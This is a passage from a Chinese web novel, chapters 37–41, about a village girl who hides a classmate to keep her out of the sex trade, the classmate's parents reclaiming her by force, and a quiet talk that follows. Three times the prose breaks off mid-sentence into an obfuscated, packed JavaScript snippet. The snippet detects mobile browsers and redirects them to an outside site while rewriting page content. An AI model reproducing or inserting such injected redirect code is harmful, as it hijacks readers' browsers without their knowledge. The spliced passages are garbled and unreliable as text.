看到他,她立刻站了起来,把湿润的手在裤子上擦了擦,神色略显得不自然。 “你今天干嘛去了?”他一边往家里走一边问她。 还没走进家门,祝婴宁就拦了上来,尬笑道:“许思睿,我有件事想告诉你。” 事到如今,许思睿已经非常熟悉她做坏事心虚的表情,闻言眉头一蹙:“你干了什么,你打人了?等等,你该不会把我东西弄脏了吧!?” “不不不!怎么可能。”她矢口否认,摇头摆手道,“我怎么可能弄脏你东西。我想说的是……那个……你知道吧,周丽的事。” 他狐疑地眯眼打量她:“今天在学校听说了,怎么了?” “我今天追去她家时,在路上拦下了她,问她是不是真的不想读书了,她抱着我哭了半天,说还想继续读书,还说她那个堂姐从事的不是正经美容美发行业,而是那种拉皮条的生意,她很害怕,一点都不想去。所以……你知道的,她很可怜,很需要帮助。” 许思睿越听越防备:“你到底想说什么?” “我就是想说,她无处可去,回家的话又会被她爸爸打骂,所以……”她慢慢让开到一旁,露出了躲在里面探头探脑的周丽,“我把她偷偷带家里来了,你千万别告诉别人啊。” 38. 和谐的夜晚 许思睿眼前黑了黑,扶着门框才勉强站稳,他发现祝婴宁有一种不闯祸则已,一闯祸就一鸣惊人的能力。别人是偷东西,她是偷人,别人是金屋藏娇,她是破屋藏同学,把一个大活人偷家里来,她到底想干嘛? “你觉得这样周丽就能回去上学了?难道你要把她藏在这一辈子?”他百思不得其解。 “当然不是。”说到这,她显得有些沮丧,看了看身后畏畏缩缩的周丽,“我打算把她藏到她堂姐离开。等她堂姐走了,没人带她进城,到时候再去劝劝周丽她爸爸,也许能有转机,不然现在周丽要是回家,她父母肯定打也要把她打出山里。她堂姐在城里有工作,没法在山里待太久,我估计藏个三五天就差不多了。”说完郑重其事地交代他,“要是有人问起,尤其是周丽爸妈问起来,你就说你没看到过周丽,你什么都不知道,可以吗?” “……”许思睿长叹一声,摆了摆手,绕过周丽走进了屋里,“我觉得比起劝我,你更应该劝劝工作人员,还有你妈。” “我已经交代过摄制组了,我阿妈去别人家串门还没回来,等她回来了我会说的。” “行吧,那随你了,反正这是你家不是我家。”他走到书桌旁,拿起水杯喝了口水。 本就狭小的屋子多了个周丽,显得更加逼仄了。许思睿不习惯和她待在一起,为了避免独处,他干脆走到外面帮祝婴宁洗菜择菜备菜。 晚饭准备好的时候,刘桂芳姗姗来迟,看到周丽,她面露疑惑:“我刚刚去串门听说周丽这娃跟堂姐走了哇,怎么在我们家?” 祝婴宁只好拉着她给她解释。 “你疯了呀宁宁!周丽爸找上门怎么办?你要我们家像之前祝娟那事一样,被别人家家属找上门啊?”刘桂芳拿余光觑看周丽,手掌掩着嘴唇,在祝婴宁耳边低声埋怨。 她声音不算大,可也不算小,周丽屈膝坐在席子上,闻言脸色涨红,露出一种羞窘难堪,无意识地用指甲抠着身下的竹席。 而许思睿惊讶地发现祝婴宁在这种事情上态度还挺硬的,或者应当用倔形容,她板起脸同刘桂芳叽里呱啦讲了通大道理,什么“莫以恶小而为之,莫以善小而不为”“赠人玫瑰手有余香”,听得许思睿额上两滴汗。他觉得刘桂芳根本不是被她那些大道理说动的,而纯粹是被她唠叨晕了,再加上祝婴宁身上自带的那股倔了吧唧的硬邦邦的气势,这才稀里糊涂点头应允。想到之前的羽绒服事件,她可能也是用这种方式说动刘桂芳道歉的,许思睿就哭笑不得。看来不止他一个人饱受她唐僧念经的残害。 吃完晚饭,刘桂芳去干活,祝婴宁想留下来陪陪周丽,避免她尴尬,所以破天荒没去做家务,而是坐在席子上和周丽相顾无言。 在一阵漫长的冷场后,周丽先受不了了,主动打破沉默道:“我们玩点东西吧。” “玩什么?”她问。 “扑克牌?” “好啊。” 她从角落里翻出一副扑克牌,看向书桌旁的许思睿,“一起吗?” 许思睿晚上基本没事做,闻言无可无不可地耸了耸肩,在祝婴宁旁边坐了下来。 他们玩的是最基础的斗地主,许思睿有一种刻板印象,他觉得祝婴宁这人板板正正,玩牌应该不太灵活。然而事实大大出乎他的意料,第一局她叫了地主,他和周丽当农民,还没等他把手里的牌理顺,她就丢了一串飞机,一串顺子,莫名其妙就赢了。 “……等等,我都还没反应过来,是你这局运气太好了。”他立刻把牌抢过来,“我来洗牌。” 洗完重新发牌,她又叫了地主,他和周丽又是农民,下了几个回合后,许思睿正仔细斟酌着下什么牌能赢她,她就丢了一个炸弹,然后华丽丽地又赢了。 “我日。”许思睿好胜心都□□上来了,把牌丢给周丽,“你来洗。”他就不信自己今晚手气还能烂到底了。 周丽洗完重新发牌,许思睿拿起来一看,眉毛一挑,得瑟一笑。他这局手气好,直接叫了地主,轮到祝婴宁和周丽当农民。这局较为胶着,下到后半局,他托着下颌,仔细回想刚刚下过的所有牌,小心翼翼丢了一个对子过去,结果祝婴宁一顿操作猛如虎,在他反应过来之前,游戏结束,他又输了。 “……” 许思睿迄今为止的人生还没经历过三连败——虽然只是扑克牌上的三连败,但他同样难以接受。 第四局开始的时候,祝婴宁又叫了地主,周丽低头整理自己的牌时,不经意间抬眸一看,发现对面的许思睿以伸懒腰为由头,不动声色地把身体朝后斜了斜,手臂撑在身后的竹席上,上身后倾,微微侧目偷窥着身旁祝婴宁的牌。 周丽简直目瞪口呆。 这人谁啊?小学生吗? 她对许思睿的印象一直是又拽又高冷的大帅哥,因为他在班里从来不和任何人搭话,课间也总是独来独往。没来祝婴宁家之前,她对许思睿朦朦胧胧抱有一种人对高冷帅哥普遍容易抱有的羞涩好感,听到祝婴宁要把她带回家里,还在心里悄悄激动了一下,期待和他同居会是一场罗曼蒂克邂逅。 发现自己的偷窥行径被周丽察觉,许思睿一点儿不带慌的,竖起食指放到唇边,眯眼无声朝她比了个“嘘——”。他眼睛长得非常靓,桃花眼,眯眼时眼裂狭长,像只懒洋洋的狐狸,再加上唇红齿白,冷白手指压在唇上,将唇肉压得微微内陷,有一种惊心动魄的美感。周丽被他电了一下,心脏乱飞。 可她还是想说……这人谁啊?小学生吗?! 被偷窥的祝婴宁无知无觉,只感到这局打得前所未有的吃力。 直到许思睿胆大包天,越凑越近,鼻息都喷到了她的脖子上,她才猛然回头,瞪大眼睛,大喊:“许思睿,你干嘛呀!?你一直在偷看我的牌?” “没有啊。”他把脸朝后仰了仰,避开她穿透耳膜的尖叫,表情泰然自若,“你把牌拿得这么开,不就是勾|引人看么?我是光明正大在看。” “你这是卑鄙小人的行径! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周丽赶紧拉住她:“不行,我打地铺吧。” “不,我打。” “我是客人,我打。” “我是主人,我打。” 许思睿看她们在那推搡红包似的争来抢去,忍不住哼笑了一声。 这声哼笑吸引了祝婴宁的注意,她看向他:“那你来打吧。” “?” 他指着自己的嘴,“我好像什么都没说吧?” 一直在旁边默默录像的摄影师声援道:“许思睿,我觉得你应该男人一点儿,否则我也想鄙视你。” “……” 裹着被子躺到竹席上的时候,许思睿觉得很痛苦,这种痛苦并非因为自己睡到了曾经嗤之以鼻的黄兮兮的竹席上,而是睡到了黄兮兮的竹席上后,他居然没有产生很大的抵触。 看来他不仅网瘾治好了,洁癖也被迫好得差不多了。 山里真是个神奇的地方。 39. 阳光普照 第二天一早,祝婴宁和许思睿照常去上学,周丽没去,祝婴宁让她留在家里,因为担心她爸爸发现她失踪以后会去学校找她。 临出门前,祝婴宁像个老妈子一样,絮絮叨叨交代刘桂芳照顾好周丽,同时拿出许思睿送给她的那叠练习册,毫不藏私且过度热情地对周丽说:“你今天就尽管在我家学习吧,这些都借你看,你千万别跟我客气。”周丽其实并没有那么喜欢学习,也完全没有要钻研难题使自己的成绩更上一层楼的想法,但是抵不过祝婴宁的热情和殷殷期盼,只能违背本心点了点头:“你放心,我一定好好学习。”许思睿在一旁看她俩互动看得直想笑。 来到学校,陈斌先将祝婴宁叫去办公室批评了一番。 出于对班长同志难得被老师批评的好奇,许思睿跟其他同学一起鬼鬼祟祟晃去了办公室门口,围观她挨训的现场。和许思睿这种听训听一半直接转身走掉的问题少年不同,祝婴宁挨训时很温顺,基本上是陈斌说句什么,她就点头应句什么,不过这种温顺只是表面现象。等陈斌说得口干舌燥,喝了杯茶润润喉咙,问她“那你总结一下,下次再遇到这种事你要怎么处理”的时候,她想了想,回了句“随心而动”,许思睿就知道她完全没把陈斌的话听进去。 随心而动。 这回答实在太…… 许思睿不知道该怎么形容自己心里的感受,但他听完就抱着肚子在外头笑了半天,笑得其他围观同学都用一种异样的眼神看着他,他还纳闷地问:“你们不觉得这回答很好笑吗?” 同学A&B&C异口同声:“不觉得。” ……好吧。 若硬要他解析笑点,他其实也解析不出个所以然,就是觉得这回答很有祝婴宁式风格,很对味儿,有一种微妙的女侠风范。 祝女侠回到教室里,如常开始领读。 许思睿扒拉着他课桌上祝吉祥留下的那本皱皱的英语书,跟随班上同学带着浓郁地方口音的中式英语一起拼读书上的单词——sunlight,sunlight,s、u、n、l、i、g、h、t,sunlight,阳光。 教室外的天空高远疏离,贴着几片稀薄的云,阳光烈烈,晴空万里。 ** 阳光没能眷顾女孩。 放学后,当他们回到家里,周丽已经不在了。 如同一滴水落入烈日炎炎的沙漠被高温吸食殆尽般,一个女孩凭空消失,没有留下任何痕迹。 祝婴宁很崩溃。 许思睿听到她用方言面红耳赤地诘责着刘桂芳,他虽然听不懂,也能猜到她话语的大概含义,无非是你怎么连个大活人都看丢了,因为刘桂芳垂着脖颈,心虚挨批,唯唯诺诺地说:“我就是走开了一下,去猪圈里喂了喂猪,我也不知道她怎么就不见了,也许自己想通跑走了吧……宁宁,我看这女娃多半是惦记着她堂姐城里的生意,想随她堂姐去城里过好日子哩,你说我们管她干嘛,在山里念这破书有什么好,我们这不是碍了别人的发财路,在造业嘛……” 祝婴宁捂着脸长长地叹了一口气。 她转身往屋子外走,许思睿以为她大概想去厨房喝杯水冷静下,但她一直朝村口走,步伐沉稳,大步流星,他愣了愣,在意识反应过来前,身体先追了出去,在她身后紧走两步,下意识问:“你去哪?” “去找周丽。”她闷声答,头也不回。 “去哪找?” “她村里。” 许思睿便停下了。 说不清此时内心的感受。 虽然周丽的凭空失踪确实带给他一些讶异,但他的想法其实和刘桂芳差不多,更倾向于认为周丽自己是想通后离开了。因为这世界上并不是所有人都像祝婴宁一样奉行着读书必定能改变命运的童话,不是所有人都像她一样有读书的努力和天赋,在人生的分岔路口,选择其实多如繁星,顺应父母的安排,走上亲戚已经替自己实践过可行性的路,也是一项选择。 尽管这选择听起来不太美好,说好听点叫美容服务业,说难听点就是三|陪,可…… 许思睿埋头审视自己的内心,他承认自己还是没能拥有拯救他人的闲情逸致。这种爱心熏陶不来,不是他和祝婴宁相处几天就忽然能被她感化带动的。没有就是没有,冷淡就是冷淡。 他注视着祝婴宁的背影,看她消失在道路另一头,背影彻底融入黑暗,最终还是选择了掉头往回走,回到了祝婴宁的家。 走去后厨房,本想倒点水,润润步行五公里回家的干渴,却意外看到杨吉蹲在炉灶前,一边烤红薯一边在抽烟。 看到他,杨吉笑了笑,无意义地寒暄:“这红薯可美了,我们下午刚去村民地里摘的。” 许思睿并不关心红薯的滋味,他给自己倒了杯水,刚端起来喝了两口,就听杨吉在一旁感慨道:“有时候觉得挺奇怪,你说刘桂芳是怎么养出祝婴宁这种孩子的?” 许思睿没听懂他忽然感慨这句话意在表达什么,闻言挑了挑眉,朝他看去。 杨吉拿着一根树枝给炉灶里的烤红薯翻身,余光接触到许思睿疑惑的眼神,抽了两口烟,像在说太阳从东边升起一样平静且随意地解释:“就是那女娃子,叫什么周丽的……是叫周丽吧?刘桂芳白天走去她们村里,把周丽父母带来了,周丽父母亲自来把周丽抓走的。”说到这,他还漫不经心笑了笑,以一种遗憾许思睿错过什么好戏的口吻说,“你是没看到,那场面——哎哟我去,真跟山寨抢亲似的。那女娃子本来一直在尖叫一直哭,他爸上去,啪啪两巴掌,差点把人扇成猪头,再来个窝心脚,一下就老实了。” 如同遭遇当头棒喝,许思睿懵了懵,定在原地,迟缓地问:“……什么?” 得知自己羽绒服失踪真相时的感觉又找上了他,一种形如踩到被人嚼过的口香糖似的黏糊糊的恶心,混合着震惊和些许愤怒,只是这次不再是刘桂芳一人的独角戏,共同组建这份恶心感的是所有人——所有看到人权被践踏被蹂躏却觉得这一幕稀松平常的人,包括站在这里作壁上观的他自己。 好想吐。 这股想吐的欲望化成一口气冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574603|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出喉咙,徘徊在他的口腔,让他本就干渴的喉咙冒出焦灼青烟。 许思睿咚的一声撂下杯子。 他发现自己错了。 人性本性难以改变,但侠气可以短暂地沾染,宛如一场无害的传染病,从一个少年导向另一个少年。 当他脑海中迟缓地浮现出祝婴宁独自一人走向道路尽头的背影时,他发现自己已经不受控制地追了过去。 “喂!你去哪?”杨吉被他突兀的举动吓了一跳,嗅到节目噱头,于是立刻催促摄影师,“跟上去跟上去!” 但许思睿今非昔比,他很快甩掉了摄影师,沿着祝婴宁消失的方向追赶。还好,在祝婴宁即将拐入岔路前,他成功捕捉到了她的背影,不然山路九曲十八弯,他真的不知道该去哪里找她了。 “祝婴宁!”他大声喊。 她回过头,看到是他,眼睛瞪得极大:“你怎么来了?” “哦,我就是觉得自己一个人待在家里很无聊。” 一句“我想帮你一起找周丽”活生生扭曲成截然不同的意思,许思睿说完都想给自己的贱嘴一巴掌。好在她从来不会在意这些虚假的托词,她朝他点点头,正儿八经地说:“那你陪我一起去周丽村子里找找她吧。” 她这种古板的正儿八经让他感到安心,于是继续安心地嘴硬:“麻烦死了,随便吧。” ** 周丽家离祝家村足有八公里,换成白天来走这段路,许思睿肯定要死要活,但他现在精神亢奋,肾上腺素让他暂时感觉不到累或脚酸。不过,走到了周丽所在的村子后,他还是没忍住,问了句:“你怎么能确定周丽在村子里,万一她已经走了呢?” 祝婴宁看了他一眼,奇道:“我不确定啊。” “靠!”许思睿差点就地栽倒,“那你干嘛一副斩钉截铁的样子就朝这来了,万一人家已经坐牛车去镇上了呢?” “我看起来很斩钉截铁吗?”她因为他这个形容大吃一惊,“其实我心里特别没底来着。” “……” 他扶了扶额头,“我们还是先不要纠结这个问题了,来都来了,就进去看看吧。” 显然祝婴宁也认可中国人的“来都来了”原则,她点点头,带他径直走向周丽家家门口。 不知道该说幸运还是不幸,还没靠近,他们就听到了屋子里周丽的哭声,尖锐又沙哑。 祝婴宁如释重负般松了口气,起码这说明周丽还没去城里,她走上前,曲起指关节,叩了叩周丽家半敞的门,提高嗓门对里头说:“周伯伯,你在里头吗?我有事找你。” 她表情并不紧绷,打招呼的语调也很自然,许思睿觉得这应该是因为她经常来走访周丽家,已经和周丽父母熟捻起来了。但不知为何,他心里隐隐有种不妙的预感,总觉得这份脆弱的熟捻绝对会因为祝婴宁“拐”走他们女儿一事彻底破碎。 果不其然,预感成真。 三秒后,周丽爸手持扫帚从屋子里冲了出来,气得鼻孔放大,青筋满头:“你还敢来!!我打死你这个祸害!” 40. 锅铲的威力 祝婴宁显然没料到是这样的展开,许思睿发现她呆站在原地,嘴巴张成一个标准的O型,像动画片里的卡通小人。未免她被周丽爸爸一扫帚抡死,他只能眼疾手快拽了她一把,紧接着,出于物理里的反作用力,在祝婴宁往后倒的时候,他的身体控制不住地朝前一送,在所有人——包括他自己都没反应过来的时候,周丽爸的扫帚就这么悲惨又准确地打到了他胯间。 “我……操……” 许思睿从牙缝里挤出了几声含糊粗口,试图维持一下尊严,但几秒后,疼痛从某个不可言说的部位迅速漫开,他还是没忍住,当场发出了一声惊天动地的哀嚎。 祝婴宁被他吓了一大跳,赶紧上前察看:“你、你没事吧许思睿……” “滚开……!”他一边捂着□□一边用另一只手的手肘强硬地把她别开,脸色煞白也不愿意让她瞧见自己正面。这算什么?鸡飞蛋打?他一想到自己居然当着个女生的面被抡到蛋就恨不得去自杀。 但祝婴宁何许人也?正义的卫士,道德的标兵。 在所有人——同样包括许思睿本人都没反应过来的时候,她上前一步,朝周丽爸爸怒目而视,大声斥道:“你太过分了,周伯伯!你要是害他以后不能生育怎么办?!你这种行为是极端恶劣极端没天理的!” “我靠祝婴宁,你有毒吧……”许思睿胸口涌上一口血,差点当场呕血身亡,他绿着脸,伸手拉她,“你干嘛把这件事再强调一遍,你还嫌我不够丢人啊?” 但祝婴宁完全没懂他的意思,她安抚性地拍拍他的手背,低声说:“你放心,我会为你讨回公道的。”然后不管三七二十一就握住了周丽爸爸手里的扫帚,猛地一扯。 周丽爸爸还沉浸在想打祝婴宁但打成了许思睿的震撼中,没有防备,被她这么一扯,扫帚脱手,从他手里转移到了祝婴宁手里。 “请你对他道歉。”她严肃道。 周丽爸爸一个粗野的庄稼汉,怎么可能对小辈道歉?闻言脸色一沉,从震撼中回过神,觉得自己身为长辈的权威被深深冒犯了,遂大怒:“你这个不知天高地厚的黄毛丫头,还敢抢我扫帚!拿来!我非打死你这个贱人不可!!”说完就要扑上来抢。 她灵活地闪身避开,平静地重复道:“请你道歉。” “我道你妈的歉!”他踉跄几步,回过身,继续朝她扑来。 祝婴宁又问了一遍:“你真的不道歉?” 周丽爸爸快被她气昏了,觉得这人简直听不懂人话,蛮不讲理,死不悔改!他眼睛外凸,鼻孔放大,面红耳赤,像只暴走的牛魔王,左右看了看,试图寻找其他趁手的武器把她打出家门。见状,祝婴宁皱皱眉,低声念叨:“事不过三,我已经给过你三次机会了,是你自己不珍惜。”然后横放扫帚,手指抓住扫地的那一头,以一种肉眼难以捕捉的速度快准狠地将扫帚握把的那一头朝周丽爸爸腿间打去。 棍子接触到柔软的肉身,没有发出任何声响。 纵然没有发出任何声响,但是周丽爸爸一个四十来岁膀大腰圆的庄稼汉,还是瞬间夹紧双腿,像个尿急的人一样,捂住□□,以一种扭曲的语调“哦”了一声,脸色从暴怒的红转为疼痛的灰白,额上冷汗涔涔。 许思睿在一旁看得呆若木鸡。 现场的气氛其实很紧张,这种紧张压抑了笑意,但他坚信自己事后复盘这段经历,一定会忍不住爆笑如雷,把出生前的饭都给笑喷出来。 老天啊……她的脑子到底是怎么长的?!他有时候真想掰开她的脑子,看看里面到底是哪儿的结构和正常人不一样。 就在周丽爸爸捂着□□扭扭捏捏呻吟嚎叫的时候,周丽妈妈忽然从屋里头冲了出来,手里拿了条炒菜的锅铲出来支援丈夫,声如洪钟,气势恢弘:“谁!谁敢来闹事儿?!谁?!” 祝婴宁赶紧说:“阿姨,我们过来是想劝劝你们,城里真的没有你们想象的那么好混,周丽她……” 话都还没说完,周丽妈就抡着锅铲,劈头盖脸朝她背上砸去,一边打得邦邦响,一边喊:“你就是看不惯我们周丽去过好日子了!贱人!贱人!!我就知道你这个人一惯没安好心,天天怂恿我们周丽去念那什么劳什子书,一个女孩子家家的读什么破书!早点出来挣钱嫁人才是正经道理!你就是想害死我们周丽,你是要我们夫妻俩的命!街坊邻居们快来看呐——!这个拐走别人家女儿的黄毛丫头现在都欺负到我们头上来啦!!” 周丽妈和周丽爸不一样,不仅战斗力强悍,嘴上功夫也了得,祝婴宁那种社会主义核心价值观式的讲演根本不是她这种骂街撒泼的对手,尤其是周丽妈还发动中年妇女的大招,召唤了街坊邻居过来看热闹,众人七嘴八舌,指着他们你一句我一句,他们连插话都插不进去。许思睿想上去帮忙,结果自己也邦邦挨了几锅铲,他和祝婴宁就像两只灰头土脸的老鼠,被周丽妈打得抱头鼠窜。 里头哭天抢地的周丽像是终于听到了外头的动静,顶着一双哭成核桃壳的眼睛,站在门框后面看着这场闹剧,最后情绪失控,扶着门框边哭边朝祝婴宁自暴自弃地吼:“你走吧,走吧!你不要再来管我了!你给我滚!我的命就这样了,谁也救不了了!” 祝婴宁在被周丽妈打得到处乱窜的时候,听到周丽的呼号,勉强抬起头,对她说:“周丽,你千万别放弃,我还会再来的。” 周丽妈一听祝婴宁说还要来,当即打得更猛烈了,甚至把脚上的拖鞋都脱了,拿在手里作势要扔她,嘴里骂骂咧咧尖锐啸鸣:“你还敢来!!你还敢来!要不要脸,我敢来一次我就再打你一次!” 碍于周丽妈的猛烈火力,祝婴宁不得不先拽着许思睿开溜了。许思睿被她拉着朝外跑,看到她一边跑一边不甘心地回头说“我一定会回来的”,有一瞬间产生了一种祝婴宁是灰太狼自己是红太狼,从羊村落败以后仓皇逃离的错觉,连那句经典台词都一模一样。 仓皇失措跑到了山路上,勉强摆脱周丽妈魔音贯耳的纠缠,许思睿低头看了看自己身上沾满油污的衣服,又看了看对面同样狼狈的祝婴宁,扯着嘴角,干笑两声:“这和我想的完全不一样。” 在他的想象里,他们应该像一对默契有范的超级英雄搭档,联手解救惨被囚禁的落魄女同学,而不是被人用锅铲打出来。 祝婴宁倒是比他洒脱多了,理了理衣摆,说:“一切都在我的意料之中。” “哦?你还有后招?”许思睿勉强打起了精神,难得做出洗耳恭听的姿态。 她看着他,摇了摇头:“当然没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582056|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有啊,我的意思是,失败也在我的意料之中,群众工作就是如此艰巨漫长,回环曲折。不过,我相信我会想出办法的。” “……” 就知道不能对她有过多期待。 ** 第二天去学校,祝婴宁夜袭周丽家,被周丽妈乱铲打出一事就在学校里传开了,许思睿很纳闷这些人的消息是怎么做到如此灵通的,明明没有手机。 大家虽然传播这个消息,但都对祝婴宁的行径不意外。 周天瑞表示:“班长就是这样的,她要是不这样,她就不是她了。” 许思睿觉得他这话有种抽象的哲理在里面,没等他品味出什么,上午的语文课过后,他就被陈斌叫到了办公室。 “我最近可没犯事啊。”许思睿举双手双脚提前展示自己的无辜。 陈斌叹道:“我知道,唉……许思睿,这次叫你来,主要是想说说婴宁的事。”他推了推眼镜,一连“唉”了好几声,每一声都叹得很长,叹到许思睿都想夸一句“老师你肺活量真不错啊”,他才停止叹气,说道,“是这样的,许思睿,你是城里来的,在一些问题上,你其实看得比婴宁现实。你应该也看得出来,婴宁这孩子吧,就是心实,对自己认定的事情特别执拗,一条道走到黑,说得好听点叫锲而不舍,难听点,就是驴,倔驴!十头牛都拉不回来。但是,怎么说呢……” 他看向办公桌上的一沓习题,“在这里教书多年,我悟出来的最大的一个道理就是,各人有各人的命数。我们只能尽人事听天命,有时人事尽得再好,天命如此,我们也没办法嘛,你说是不是?” 许思睿不知道该说什么,只能沉默。 “反正,周丽这孩子的命,在我看来就是如此了。你和婴宁住得近,而且又是同龄人,你……你帮我劝劝她吧。婴宁是我最好的学生,我实在不忍看她因为这种事受伤。身体的伤害倒还在其次,这孩子皮实,用树枝打她都怕把树枝崩断了,我就是怕她心里想不明白。” 许思睿觉得自己不该笑,但听到陈斌形容祝婴宁皮实那段话,他还是没忍住,短促地笑了一声,之后才收敛起笑容,答道:“你也说她倔了,她怎么可能听我的。” “唉……反正你尽力而为就好。”陈斌拍拍他的肩膀,恰逢上课铃响,他便赶他回去上课了。 ** 许思睿没有劝祝婴宁,他是真的觉得劝了也是白劝,因为她就像一只打不死的小强,明明昨晚才经历了周丽妈的殴打辱骂,今天就已经在思索新一轮游说应该怎样进行了。到了傍晚,她说自己已经想出了新理由,非要亲自去周丽家试试。 她还善良体贴地对他说:“许思睿,今天你就别去了,省得被我连累一起挨打。” 许思睿嘁了一声:“你知道我是被你连累的就好。” 说是这么说,但他还是跟在她身后走去了周丽家。许思睿怀疑自己可能是有什么受虐癖。 然而祝婴宁的说辞注定再也派不上用场了。 他们到达周丽家以后,发现周丽早已离开。 就像祝娟当年离开一样,因为这样或者那样的缘由,这些女孩从养育了她们却也背弃了她们的大山仓促逃离,失落于大城市的钢铁森林里,天大地大,杳无音讯。 41. 谈心 得知周丽离开那个夜晚,祝婴宁显得格外失魂落魄,或许应该说,显得格外空洞迷茫。 他们沿着来路返回祝家村,一路上,她都没有说话,回到家里也安安静静的。但要说她魂不守舍到什么都做不了的地步,那倒也不至于,她还是照常帮刘桂芳做家务,照常喂奶奶吃晚饭,照常趴在书桌上学习写作业,没有因为心情低落就被影响到什么事都做不了,在这一点上,许思睿还挺佩服她的,因为他自己属于那种心情一糟糕就什么事都干不下的人。 整个晚上,许思睿默不作声瞧了她好几眼,试图从她脸上看出点什么端倪,好施展一下同学爱,如此这般如此那般地安慰她一番,只可惜他什么都没看出来,也没找到任何合适的时机。 天黑以后,他们躺在炕上,沉默无言。 没过多久,许思睿就听到了三八线那头传来的均匀的呼吸声——祝婴宁睡觉不打呼,相反,她呼吸很轻,而且和缓绵长。听着这样稳定的呼吸声,他不知不觉也沉入了梦乡。 ** 睡到半夜两点,许思睿莫名其妙被梦魇惊醒,醒来以后瞬间忘记自己做了什么噩梦,只觉心有余悸,坐起来缓了缓,不经意间往三八线那头瞥了眼,惊讶地发现祝婴宁竟然不在。 他趿拉上拖鞋,先拐去洗手间看了看,不见她的身影,又拐去厨房看了看,依然不见她的踪影。 去哪儿了? 他一边在心里反反复复嘟囔道我才不是关心她,我就是睡不着闲得发慌,一边回屋里找出了把手电筒,拿在手里,在这附近鬼鬼祟祟搜寻起来。 杨吉之前说许思睿怕黑,这话没说错,许思睿不怕闯祸不怕挨骂不怕惹事,唯独害怕一切唯物辩证法否认的事物,比如黑暗,比如鬼魂,比如尸体。他打着手电筒,越往后山走,越觉得心里发毛,几次都想立刻停下,立刻调头回家,心想说不定祝婴宁就是随便在哪里逛了逛,现在已经回家了呢? 而且他也压根不知道该去哪里找她啊!他和她好像还没到那种深交的地步吧,他怎么可能会知道她睡不着的时候会跑去哪儿? ……不对。 许思睿在心里腹诽着腹诽着,忽然灵光乍现,发现自己其实知道答案。 在相识不久之时祝婴宁就带他去过了,那个他偶然闯入的秘密基地。 他本来以为只去过一次,自己肯定不记得路,但回忆起有关那个山洞的一切后,竟然很顺利就找对了路,在前往那个山洞的路上飞快奔跑起来。 满帘山乌龟映入他眼底,叶子与叶子的间隙里透出若隐若现的昏黄烛光,其中一片叶片上停留着一只趋光性大飞蛾。他伸手摇了摇叶子,飞蛾纹丝不动,在叶片另一面弹了一下,才顺利将它驱赶开,自己掀开叶帘俯身钻了进去。 祝婴宁盘腿坐在山洞角落里,令许思睿庆幸的是,她没有哭,只是默默翻阅着铁盒里祝娟的信件,看到他,她缓缓抬起头,漆黑的眼珠倒映着暖色烛光,眼底有淡淡的讶然。 她没主动开口,没有问“你怎么在这”,于是许思睿也没有说话,他在她对面坐下来,虽然身形犹然保留着少年的纤薄,可奈何骨架大,再加上山洞小,长手长脚往洞口一坐,几乎将洞口挡了个严实。 蜡烛在他们中间静静燃烧着,犹如一口流动的钟,把时间烧成残蜡。 她低头慢慢翻阅着信件,过了许久,才指着其中一封的邮票,轻声问出一个看起来毫不相干的问题:“这是庐山吗?” 他垂眸看了眼,喉结滚动,嗯了一声。 “你去过吗?” “去过。” “庐山好玩吗?和我们这一样吗?” 许思睿笑了笑,声音有点低:“那可太不一样了。”他顿了顿,又补充说,“庐山开发得很好,山道是柏油路,而且很宽敞,私家车能轻轻松松通过。山上还有外国建筑,因为海拔高,夏天去挺凉爽的,很多富人去那避暑。” 她点了点头,又翻出另一封信件,同样指着上面的邮票问:“长城?” “嗯,也去过。”他笑,“你以后要是有机会去,千万别信那儿的拍照服务,那都是坑钱的,他们会先骗你说免费,等你拍完了,又说只是免费送你一张两寸甚至一寸大的照片,如果还要大的照片,就得自己出钱买,死贵死贵的,拍的还不咋样。” 她讶异地挑了挑眉,微笑着点头:“有用的建议,谢谢你。”然后又指着另一张邮票,用眼神询问他这是哪。 “洱海。”他轻轻说,“大理的洱海,去的话一定要挑个晴天,晴天和阴天看到的完全是两回事。” “我记住了。”她郑重地点了点头。 许思睿忽然庆幸起他们的谈话不约而同默认了一个准则,那就是总有一天,她是能离开大山的。不是像祝娟那样仓皇出逃,也不是像周丽那样被迫成为即将结婚的哥哥的血包,而是自己走出大山,用脚丈量世界,用那双黑白分明的眼睛观察山外芸芸众生。 此间风云,沧海桑田,幸运也好,不幸也罢,她将亲自历遍。 是的,这样就很好。 虽然等到她有能力去成那些地方,他们肯定早就已经天各一方,到了那时,说不定她已经嫁人生子,当然也有可能选择独身,也许她成了一个背包客,也可能会成为一个公正的大法官——这很符合她的性格,而他呢,他大概会成为游戏公司的程序员,在一群热爱格子衫的理工宅男里执拗地追求高雅时尚,度过他渴望的平凡又按部就班的一生。虽然无缘得见,仅是猜测,但许思睿想象了一下多年以后的那个场景,心中竟也有一股微微的暖意流淌。 她听到她在他对面轻声咕哝:“希望她们也能看到这些风景。” 